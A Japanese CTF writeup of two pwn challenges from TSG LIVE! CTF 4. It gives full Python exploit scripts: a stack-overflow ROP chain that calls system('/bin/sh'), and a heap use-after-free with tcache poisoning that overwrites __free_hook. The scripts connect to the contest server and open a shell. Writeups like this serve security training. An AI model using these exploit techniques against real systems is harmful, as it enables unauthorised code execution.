CTFするぞ

CTF以外のことも書くよ

TSG LIVE! CTF 4のwriteup

なんかtwitterで流れてたのでzer0ptsで参加しました。 75分という短時間で早解きが要求されるCTFです。

TSGの問題は良問が多いので好きです。75分なので問題数は少なかったですが、チームメンバーの様子を見ていても面白い問題が多かったようです。 私はpwn担当で2つだけ通したので、そのwriteupを書いておきます。

他のメンバーのwriteup:

st98.github.io

[Pwn 100] IfYouWanna

64-bitのELFとlibc-2.27が配布されます。セキュリティ機構は基本無効です。

$ checksec -f IfYouWanna
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   74 Symbols     No       0               4       IfYouWanna

バイナリを読むと最初にauthというのでパスワードをチェックし、その後に自明BOFがります。また、authに成功するとlibcのベースアドレスが貰えます。 authは特に脆弱性がなかったので、angrに投げました。

import angr

p = angr.Project("./IfYouWanna", load_options={"auto_load_libs": False})
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find=0x40096c, avoid=0x400956)
try:
    found = simgr.found[0]
    print(found.posix.dumps(0))
except IndexError:
    print("Not Found")

これでパスワードが mora+cookie+nan+t4shi+swa11ow= であると出力されるのですが、これを使ってもincorrectになります。 仕方ないのでauthを読むとループの最後っぽいところにstrtoulでパスワードの最後の方の値をチェックしている処理がありました。 angrが出してくれた結果が等式っぽいのでなんか数字を入れれば良いのでしょう。 gdbで比較しているところで止めると0xaceだったのでこれを付けたら通りました。 あとはsystem("/bin/sh")を呼ぶだけ。

from ptrlib import *

libc = ELF("./libc.so.6")
#sock = Process("./IfYouWanna")
sock = Socket("3.112.113.4", 20002)
libc_pop_rdi = 0x0002155f
rop_ret = 0x00400293

# leak libc
password = "mora+cookie+nan+t4shi+swa11ow="
password += hex(0xace)[2:]
sock.sendlineafter("> ", password)
sock.recvline()
libc_base = int(sock.recvline().split(b": ")[1], 16)
logger.info("libc = " + hex(libc_base))

# get the shell!
payload = b'Y' * 0xa0
payload += p64(0xffffffffffffffff)
payload += p64(rop_ret)
payload += p64(libc_base + libc_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("system"))
sock.sendlineafter("> ", payload)

sock.interactive()

scanfを使っているのでバイナリ中のpop rdi; ret;は改行文字が入っており使えません。

$ python solve.py 
[+] __init__: Successfully connected to 3.112.113.4:20002
[+] <module>: libc = 0x7f55892bd000
[ptrlib]$ 
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYÿÿÿÿÿÿÿÿ@[ptrlib]$ cat /home/user/flag
TSGCTF{This_is_too_easy_pwn_but_you_got_100_pts_anyway!}
[ptrlib]$

[Pwn 200] ShyEEICtan

64-bitのELFとlibc-2.27、ソースコードが配られます。

$ checksec -f ShyEEICtan
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   85 Symbols     Yes      0               4       ShyEEICtan

よくあるヒープ問で、_removeを読むと自明にUAFがあります。

void _remove(void)
{
  int inp;
  printf("\nEh, %d schedules are set...\n",num_schedule);
  printf("Please enter the index(zero origin) > ");
  
  inp = getint();
  if(0<=inp && inp<=num_schedule-1){
    free(schedules[inp]);
    printf("D, deleted...\n\n");
    return;
  }else{
    printf("invalid index\n\n");
    return;
  }
}

ただし、showを見ると一番最初のScheduleの最初の8バイトしか表示してくれないことが分かります。 ということで、一番最初に作ったScheduleを大切に取り扱いましょう。

とりあえずUAFがあるのでheapのアドレスはすぐに求まります。 libc leakですが、最初のlistのサイズヘッダを改竄するのは面倒だったのでtcacheを埋めてunsorted binに繋ぎました。 (実は最初はサイズヘッダを改竄してlibcのアドレスを作ったけど後でshowが8バイトしか出力してないことに気づいた。なのでheapのアドレスとか無駄に求めちゃってます。) あとは適当にtcache poisoningして終わり。

from ptrlib import *

def add(schedule):
    sock.sendlineafter("> ", "1")
    sock.sendafter(">", schedule)
    return
def delete(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("> ", str(index))
    return
def show():
    sock.sendlineafter("> ", "3")
    sock.recvline()
    sock.recvline()
    return sock.recvline()
def edit(index, data):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter("> ", str(index))
    sock.sendafter(">", data)
    return

# BUF_SIZE = 0x200
libc = ELF("./libc.so.6")
#sock = Process("./ShyEEICtan")
sock = Socket("3.112.113.4", 20000)
libc_main_arena = 0x3ebc40

# leak heap
add(p64(0) + p64(0x431))         # 0
add("1")                         # 1
add((p64(0) + p64(0x21)) * 0x10) # 2
delete(1)
delete(0)
heap_base = u64(show()[:8]) - 0x220
logger.info("heap = " + hex(heap_base))

# leak libc
for i in range(6):
    delete(0)
libc_base = u64(show()[:8]) - libc_main_arena - 0x60
logger.info("libc = " + hex(libc_base))

# tcache poisoning
edit(0, p64(libc_base + libc.symbol("__free_hook")))
add("/bin/sh") # 3
add(p64(libc_base + libc.symbol("system"))) # 4
delete(3)

sock.interactive()

ほい。

$ python solve.py 
[+] __init__: Successfully connected to 3.112.113.4:20000
[+] <module>: heap = 0x557af326e580
[+] <module>: libc = 0x7f10de55b000
[ptrlib]$ cat /home/user/flag
TSGCTF{EEIC_is_really_really_really_really_really_WHITE!!!}
[ptrlib]$